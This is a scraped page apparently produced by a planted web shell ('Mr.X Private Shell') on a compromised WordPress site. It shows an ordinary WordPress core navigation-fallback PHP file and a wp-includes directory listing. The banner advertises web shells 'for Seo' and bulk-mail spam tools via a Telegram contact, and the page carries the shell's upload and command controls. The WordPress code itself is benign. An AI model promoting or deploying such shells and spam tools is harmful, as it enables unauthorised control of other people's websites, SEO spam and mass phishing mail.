__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * WP_Navigation_Fallback class
 *
 * Manages fallback behavior for Navigation menus.
 *
 * @package WordPress
 * @subpackage Navigation
 * @since 6.3.0
 */

/**
 * Manages fallback behavior for Navigation menus.
 *
 * @since 6.3.0
 */
class WP_Navigation_Fallback {

	/**
	 * Updates the wp_navigation custom post type schema, in order to expose
	 * additional fields in the embeddable links of WP_REST_Navigation_Fallback_Controller.
	 *
	 * The Navigation Fallback endpoint may embed the full Navigation Menu object
	 * into the response as the `self` link. By default, the Posts Controller
	 * will only expose a limited subset of fields but the editor requires
	 * additional fields to be available in order to utilize the menu.
	 *
	 * Used with the `rest_wp_navigation_item_schema` hook.
	 *
	 * @since 6.4.0
	 *
	 * @param array $schema The schema for the `wp_navigation` post.
	 * @return array The modified schema.
	 */
	public static function update_wp_navigation_post_schema( $schema ) {
		// Expose top level fields.
		$schema['properties']['status']['context']  = array_merge( $schema['properties']['status']['context'], array( 'embed' ) );
		$schema['properties']['content']['context'] = array_merge( $schema['properties']['content']['context'], array( 'embed' ) );

		/*
		 * Exposes sub properties of content field.
		 * These sub properties aren't exposed by the posts controller by default,
		 * for requests where context is `embed`.
		 *
		 * @see WP_REST_Posts_Controller::get_item_schema()
		 */
		$schema['properties']['content']['properties']['raw']['context']           = array_merge( $schema['properties']['content']['properties']['raw']['context'], array( 'embed' ) );
		$schema['properties']['content']['properties']['rendered']['context']      = array_merge( $schema['properties']['content']['properties']['rendered']['context'], array( 'embed' ) );
		$schema['properties']['content']['properties']['block_version']['context'] = array_merge( $schema['properties']['content']['properties']['block_version']['context'], array( 'embed' ) );

		/*
		 * Exposes sub properties of title field.
		 * These sub properties aren't exposed by the posts controller by default,
		 * for requests where context is `embed`.
		 *
		 * @see WP_REST_Posts_Controller::get_item_schema()
		 */
		$schema['properties']['title']['properties']['raw']['context'] = array_merge( $schema['properties']['title']['properties']['raw']['context'], array( 'embed' ) );

		return $schema;
	}

	/**
	 * Gets (and/or creates) an appropriate fallback Navigation Menu.
	 *
	 * @since 6.3.0
	 *
	 * @return WP_Post|null the fallback Navigation Post or null.
	 */
	public static function get_fallback() {
		/**
		 * Filters whether or not a fallback should be created.
		 *
		 * @since 6.3.0
		 *
		 * @param bool $create Whether to create a fallback navigation menu. Default true.
		 */
		$should_create_fallback = apply_filters( 'wp_navigation_should_create_fallback', true );

		$fallback = static::get_most_recently_published_navigation();

		if ( $fallback || ! $should_create_fallback ) {
			return $fallback;
		}

		$fallback = static::create_classic_menu_fallback();

		if ( $fallback && ! is_wp_error( $fallback ) ) {
			// Return the newly created fallback post object which will now be the most recently created navigation menu.
			return $fallback instanceof WP_Post ? $fallback : static::get_most_recently_published_navigation();
		}

		$fallback = static::create_default_fallback();

		if ( $fallback && ! is_wp_error( $fallback ) ) {
			// Return the newly created fallback post object which will now be the most recently created navigation menu.
			return $fallback instanceof WP_Post ? $fallback : static::get_most_recently_published_navigation();
		}

		return null;
	}

	/**
	 * Finds the most recently published `wp_navigation` post type.
	 *
	 * @since 6.3.0
	 *
	 * @return WP_Post|null the first non-empty Navigation or null.
	 */
	private static function get_most_recently_published_navigation() {

		$parsed_args = array(
			'post_type'              => 'wp_navigation',
			'no_found_rows'          => true,
			'update_post_meta_cache' => false,
			'update_post_term_cache' => false,
			'order'                  => 'DESC',
			'orderby'                => 'date',
			'post_status'            => 'publish',
			'posts_per_page'         => 1,
		);

		$navigation_post = new WP_Query( $parsed_args );

		if ( count( $navigation_post->posts ) > 0 ) {
			return $navigation_post->posts[0];
		}

		return null;
	}

	/**
	 * Creates a Navigation Menu post from a Classic Menu.
	 *
	 * @since 6.3.0
	 *
	 * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object.
	 */
	private static function create_classic_menu_fallback() {
		// See if we have a classic menu.
		$classic_nav_menu = static::get_fallback_classic_menu();

		if ( ! $classic_nav_menu ) {
			return new WP_Error( 'no_classic_menus', __( 'No Classic Menus found.' ) );
		}

		// If there is a classic menu then convert it to blocks.
		$classic_nav_menu_blocks = WP_Classic_To_Block_Menu_Converter::convert( $classic_nav_menu );

		if ( is_wp_error( $classic_nav_menu_blocks ) ) {
			return $classic_nav_menu_blocks;
		}

		if ( empty( $classic_nav_menu_blocks ) ) {
			return new WP_Error( 'cannot_convert_classic_menu', __( 'Unable to convert Classic Menu to blocks.' ) );
		}

		// Create a new navigation menu from the classic menu.
		$classic_menu_fallback = wp_insert_post(
			array(
				'post_content' => $classic_nav_menu_blocks,
				'post_title'   => $classic_nav_menu->name,
				'post_name'    => $classic_nav_menu->slug,
				'post_status'  => 'publish',
				'post_type'    => 'wp_navigation',
			),
			true // So that we can check whether the result is an error.
		);

		return $classic_menu_fallback;
	}

	/**
	 * Determines the most appropriate classic navigation menu to use as a fallback.
	 *
	 * @since 6.3.0
	 *
	 * @return WP_Term|null The most appropriate classic navigation menu to use as a fallback.
	 */
	private static function get_fallback_classic_menu() {
		$classic_nav_menus = wp_get_nav_menus();

		if ( ! $classic_nav_menus || is_wp_error( $classic_nav_menus ) ) {
			return null;
		}

		$nav_menu = static::get_nav_menu_at_primary_location();

		if ( $nav_menu ) {
			return $nav_menu;
		}

		$nav_menu = static::get_nav_menu_with_primary_slug( $classic_nav_menus );

		if ( $nav_menu ) {
			return $nav_menu;
		}

		return static::get_most_recently_created_nav_menu( $classic_nav_menus );
	}


	/**
	 * Sorts the classic menus and returns the most recently created one.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects.
	 * @return WP_Term The most recently created classic nav menu.
	 */
	private static function get_most_recently_created_nav_menu( $classic_nav_menus ) {
		usort(
			$classic_nav_menus,
			static function ( $a, $b ) {
				return $b->term_id - $a->term_id;
			}
		);

		return $classic_nav_menus[0];
	}

	/**
	 * Returns the classic menu with the slug `primary` if it exists.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects.
	 * @return WP_Term|null The classic nav menu with the slug `primary` or null.
	 */
	private static function get_nav_menu_with_primary_slug( $classic_nav_menus ) {
		foreach ( $classic_nav_menus as $classic_nav_menu ) {
			if ( 'primary' === $classic_nav_menu->slug ) {
				return $classic_nav_menu;
			}
		}

		return null;
	}


	/**
	 * Gets the classic menu assigned to the `primary` navigation menu location
	 * if it exists.
	 *
	 * @since 6.3.0
	 *
	 * @return WP_Term|null The classic nav menu assigned to the `primary` location or null.
	 */
	private static function get_nav_menu_at_primary_location() {
		$locations = get_nav_menu_locations();

		if ( isset( $locations['primary'] ) ) {
			$primary_menu = wp_get_nav_menu_object( $locations['primary'] );

			if ( $primary_menu ) {
				return $primary_menu;
			}
		}

		return null;
	}

	/**
	 * Creates a default Navigation Block Menu fallback.
	 *
	 * @since 6.3.0
	 *
	 * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object.
	 */
	private static function create_default_fallback() {

		$default_blocks = static::get_default_fallback_blocks();

		// Create a new navigation menu from the fallback blocks.
		$default_fallback = wp_insert_post(
			array(
				'post_content' => $default_blocks,
				'post_title'   => _x( 'Navigation', 'Title of a Navigation menu' ),
				'post_name'    => 'navigation',
				'post_status'  => 'publish',
				'post_type'    => 'wp_navigation',
			),
			true // So that we can check whether the result is an error.
		);

		return $default_fallback;
	}

	/**
	 * Gets the rendered markup for the default fallback blocks.
	 *
	 * @since 6.3.0
	 *
	 * @return string default blocks markup to use a the fallback.
	 */
	private static function get_default_fallback_blocks() {
		$registry = WP_Block_Type_Registry::get_instance();

		// If `core/page-list` is not registered then use empty blocks.
		return $registry->is_registered( 'core/page-list' ) ? '<!-- wp:page-list /-->' : '';
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0775
IXR Folder 0775
PHPMailer Folder 0775
Requests Folder 0775
SimplePie Folder 0775
Text Folder 0775
abilities-api Folder 0775
assets Folder 0775
block-bindings Folder 0775
block-patterns Folder 0775
block-supports Folder 0775
blocks Folder 0775
certificates Folder 0775
css Folder 0775
customize Folder 0775
fonts Folder 0775
html-api Folder 0775
images Folder 0775
interactivity-api Folder 0775
js Folder 0775
l10n Folder 0775
php-compat Folder 0775
pomo Folder 0775
rest-api Folder 0775
sitemaps Folder 0775
sodium_compat Folder 0775
style-engine Folder 0775
theme-compat Folder 0775
widgets Folder 0775
abilities-api.php File 23.8 KB 0664
abilities.php File 7.8 KB 0664
admin-bar.php File 36.1 KB 0664
atomlib.php File 11.9 KB 0664
author-template.php File 18.94 KB 0664
block-bindings.php File 7.35 KB 0664
block-editor.php File 28.6 KB 0664
block-i18n.json File 316 B 0664
block-patterns.php File 12.9 KB 0664
block-template-utils.php File 61.02 KB 0664
block-template.php File 15 KB 0664
blocks.php File 112.05 KB 0664
bookmark-template.php File 12.47 KB 0664
bookmark.php File 15.07 KB 0664
cache-compat.php File 9.84 KB 0664
cache.php File 13.17 KB 0664
canonical.php File 33.83 KB 0664
capabilities.php File 42.63 KB 0664
category-template.php File 55.71 KB 0664
category.php File 12.53 KB 0664
class-IXR.php File 2.55 KB 0664
class-avif-info.php File 28.92 KB 0664
class-feed.php File 539 B 0664
class-http.php File 367 B 0664
class-json.php File 42.65 KB 0664
class-oembed.php File 401 B 0664
class-phpass.php File 6.61 KB 0664
class-phpmailer.php File 664 B 0664
class-pop3.php File 20.63 KB 0664
class-requests.php File 2.18 KB 0664
class-simplepie.php File 453 B 0664
class-smtp.php File 457 B 0664
class-snoopy.php File 36.83 KB 0664
class-walker-category-dropdown.php File 2.41 KB 0664
class-walker-category.php File 8.28 KB 0664
class-walker-comment.php File 13.89 KB 0664
class-walker-nav-menu.php File 11.76 KB 0664
class-walker-page-dropdown.php File 2.65 KB 0664
class-walker-page.php File 7.43 KB 0664
class-wp-admin-bar.php File 17.46 KB 0664
class-wp-ajax-response.php File 5.14 KB 0664
class-wp-application-passwords.php File 16.7 KB 0664
class-wp-block-bindings-registry.php File 8.28 KB 0664
class-wp-block-bindings-source.php File 2.92 KB 0664
class-wp-block-editor-context.php File 1.32 KB 0664
class-wp-block-list.php File 4.6 KB 0664
class-wp-block-metadata-registry.php File 11.62 KB 0664
class-wp-block-parser-block.php File 2.5 KB 0664
class-wp-block-parser-frame.php File 1.97 KB 0664
class-wp-block-parser.php File 11.25 KB 0664
class-wp-block-pattern-categories-registry.php File 5.32 KB 0664
class-wp-block-patterns-registry.php File 10.6 KB 0664
class-wp-block-processor.php File 68.32 KB 0664
class-wp-block-styles-registry.php File 6.34 KB 0664
class-wp-block-supports.php File 5.49 KB 0664
class-wp-block-template.php File 1.99 KB 0664
class-wp-block-templates-registry.php File 7.02 KB 0664
class-wp-block-type-registry.php File 4.91 KB 0664
class-wp-block-type.php File 16.86 KB 0664
class-wp-block.php File 24.23 KB 0664
class-wp-classic-to-block-menu-converter.php File 3.97 KB 0664
class-wp-comment-query.php File 47.66 KB 0664
class-wp-comment.php File 9.22 KB 0664
class-wp-customize-control.php File 25.51 KB 0664
class-wp-customize-manager.php File 198.38 KB 0664
class-wp-customize-nav-menus.php File 56.65 KB 0664
class-wp-customize-panel.php File 10.46 KB 0664
class-wp-customize-section.php File 10.95 KB 0664
class-wp-customize-setting.php File 29.26 KB 0664
class-wp-customize-widgets.php File 70.91 KB 0664
class-wp-date-query.php File 35.3 KB 0664
class-wp-dependencies.php File 16.61 KB 0664
class-wp-dependency.php File 2.57 KB 0664
class-wp-duotone.php File 39.83 KB 0664
class-wp-editor.php File 70.64 KB 0664
class-wp-embed.php File 15.56 KB 0664
class-wp-error.php File 7.33 KB 0664
class-wp-exception.php File 253 B 0664
class-wp-fatal-error-handler.php File 7.96 KB 0664
class-wp-feed-cache-transient.php File 3.23 KB 0664
class-wp-feed-cache.php File 969 B 0664
class-wp-hook.php File 16.28 KB 0664
class-wp-http-cookie.php File 7.22 KB 0664
class-wp-http-curl.php File 12.95 KB 0664
class-wp-http-encoding.php File 6.53 KB 0664
class-wp-http-ixr-client.php File 3.42 KB 0664
class-wp-http-proxy.php File 5.84 KB 0664
class-wp-http-requests-hooks.php File 1.97 KB 0664
class-wp-http-requests-response.php File 4.3 KB 0664
class-wp-http-response.php File 2.91 KB 0664
class-wp-http-streams.php File 16.46 KB 0664
class-wp-http.php File 40.6 KB 0664
class-wp-image-editor-gd.php File 20.22 KB 0664
class-wp-image-editor-imagick.php File 36.11 KB 0664
class-wp-image-editor.php File 17.01 KB 0664
class-wp-list-util.php File 7.27 KB 0664
class-wp-locale-switcher.php File 6.62 KB 0664
class-wp-locale.php File 16.49 KB 0664
class-wp-matchesmapregex.php File 1.79 KB 0664
class-wp-meta-query.php File 29.82 KB 0664
class-wp-metadata-lazyloader.php File 6.67 KB 0664
class-wp-navigation-fallback.php File 8.98 KB 0664
class-wp-network-query.php File 19.42 KB 0664
class-wp-network.php File 12.01 KB 0664
class-wp-object-cache.php File 17.11 KB 0664
class-wp-oembed-controller.php File 6.74 KB 0664
class-wp-oembed.php File 30.93 KB 0664
class-wp-paused-extensions-storage.php File 4.99 KB 0664
class-wp-phpmailer.php File 4.25 KB 0664
class-wp-plugin-dependencies.php File 24.72 KB 0664
class-wp-post-type.php File 29.96 KB 0664
class-wp-post.php File 6.34 KB 0664
class-wp-query.php File 159.91 KB 0664
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0664
class-wp-recovery-mode-email-service.php File 10.92 KB 0664
class-wp-recovery-mode-key-service.php File 4.77 KB 0664
class-wp-recovery-mode-link-service.php File 3.38 KB 0664
class-wp-recovery-mode.php File 11.18 KB 0664
class-wp-rewrite.php File 62.19 KB 0664
class-wp-role.php File 2.46 KB 0664
class-wp-roles.php File 9.17 KB 0664
class-wp-script-modules.php File 32.15 KB 0664
class-wp-scripts.php File 34.05 KB 0664
class-wp-session-tokens.php File 7.15 KB 0664
class-wp-simplepie-file.php File 3.47 KB 0664
class-wp-simplepie-sanitize-kses.php File 1.87 KB 0664
class-wp-site-query.php File 30.91 KB 0664
class-wp-site.php File 7.29 KB 0664
class-wp-speculation-rules.php File 7.35 KB 0664
class-wp-styles.php File 12.54 KB 0664
class-wp-tax-query.php File 19.12 KB 0664
class-wp-taxonomy.php File 18.12 KB 0664
class-wp-term-query.php File 39.99 KB 0664
class-wp-term.php File 5.17 KB 0664
class-wp-text-diff-renderer-inline.php File 979 B 0664
class-wp-text-diff-renderer-table.php File 18.44 KB 0664
class-wp-textdomain-registry.php File 10.24 KB 0664
class-wp-theme-json-data.php File 1.77 KB 0664
class-wp-theme-json-resolver.php File 34.9 KB 0664
class-wp-theme-json-schema.php File 7.19 KB 0664
class-wp-theme-json.php File 160.5 KB 0664
class-wp-theme.php File 64.27 KB 0664
class-wp-token-map.php File 27.95 KB 0664
class-wp-url-pattern-prefixer.php File 4.69 KB 0664
class-wp-user-meta-session-tokens.php File 2.94 KB 0664
class-wp-user-query.php File 43.13 KB 0664
class-wp-user-request.php File 2.25 KB 0664
class-wp-user.php File 22.5 KB 0664
class-wp-walker.php File 13.01 KB 0664
class-wp-widget-factory.php File 3.27 KB 0664
class-wp-widget.php File 18 KB 0664
class-wp-xmlrpc-server.php File 210.4 KB 0664
class-wp.php File 25.86 KB 0664
class-wpdb.php File 115.85 KB 0664
class.wp-dependencies.php File 373 B 0664
class.wp-scripts.php File 343 B 0664
class.wp-styles.php File 338 B 0664
comment-template.php File 100.73 KB 0664
comment.php File 130.93 KB 0664
compat-utf8.php File 19.1 KB 0664
compat.php File 17.41 KB 0664
cron.php File 41.98 KB 0664
date.php File 400 B 0664
default-constants.php File 11.1 KB 0664
default-filters.php File 37.02 KB 0664
default-widgets.php File 2.24 KB 0664
deprecated.php File 188.13 KB 0664
embed-template.php File 338 B 0664
embed.php File 38 KB 0664
error-protection.php File 4.02 KB 0664
feed-atom-comments.php File 5.38 KB 0664
feed-atom.php File 3.05 KB 0664
feed-rdf.php File 2.61 KB 0664
feed-rss.php File 1.16 KB 0664
feed-rss2-comments.php File 4.04 KB 0664
feed-rss2.php File 3.71 KB 0664
feed.php File 24.6 KB 0664
fonts.php File 9.56 KB 0664
formatting.php File 346.43 KB 0664
functions.php File 281.84 KB 0664
functions.wp-scripts.php File 14.95 KB 0664
functions.wp-styles.php File 8.44 KB 0664
general-template.php File 168.95 KB 0664
global-styles-and-settings.php File 20.71 KB 0664
http.php File 25.27 KB 0664
https-detection.php File 5.72 KB 0664
https-migration.php File 4.63 KB 0664
kses.php File 81.72 KB 0664
l10n.php File 67.18 KB 0664
link-template.php File 156.36 KB 0664
load.php File 55.19 KB 0664
locale.php File 162 B 0664
media-template.php File 61.72 KB 0664
media.php File 216 KB 0664
meta.php File 65 KB 0664
ms-blogs.php File 25.24 KB 0664
ms-default-constants.php File 4.81 KB 0664
ms-default-filters.php File 6.48 KB 0664
ms-deprecated.php File 21.25 KB 0664
ms-files.php File 2.79 KB 0664
ms-functions.php File 89.69 KB 0664
ms-load.php File 19.42 KB 0664
ms-network.php File 3.69 KB 0664
ms-settings.php File 4.11 KB 0664
ms-site.php File 40.74 KB 0664
nav-menu-template.php File 25.38 KB 0664
nav-menu.php File 43.33 KB 0664
option.php File 102.57 KB 0664
pluggable-deprecated.php File 6.18 KB 0664
pluggable.php File 124.47 KB 0664
plugin.php File 35.65 KB 0664
post-formats.php File 6.94 KB 0664
post-template.php File 67.04 KB 0664
post-thumbnail-template.php File 10.62 KB 0664
post.php File 289.13 KB 0664
query.php File 36.23 KB 0664
registration-functions.php File 200 B 0664
registration.php File 200 B 0664
rest-api.php File 98.29 KB 0664
revision.php File 30.02 KB 0664
rewrite.php File 19.03 KB 0664
robots-template.php File 5.06 KB 0664
rss-functions.php File 255 B 0664
rss.php File 22.66 KB 0664
script-loader.php File 154.63 KB 0664
script-modules.php File 9.68 KB 0664
session.php File 258 B 0664
shortcodes.php File 23.49 KB 0664
sitemaps.php File 3.16 KB 0664
speculative-loading.php File 8.4 KB 0664
spl-autoload-compat.php File 441 B 0664
style-engine.php File 7.39 KB 0664
taxonomy.php File 172.91 KB 0664
template-canvas.php File 544 B 0664
template-loader.php File 3.84 KB 0664
template.php File 35.97 KB 0664
theme-i18n.json File 1.69 KB 0664
theme-previews.php File 2.84 KB 0664
theme-templates.php File 6.09 KB 0664
theme.json File 8.71 KB 0664
theme.php File 131.84 KB 0664
update.php File 37.45 KB 0664
user.php File 173.89 KB 0664
utf8.php File 7.09 KB 0664
vars.php File 6.41 KB 0664
version.php File 1.11 KB 0664
widgets.php File 69.46 KB 0664
wp-db.php File 445 B 0664
wp-diff.php File 799 B 0664
Filemanager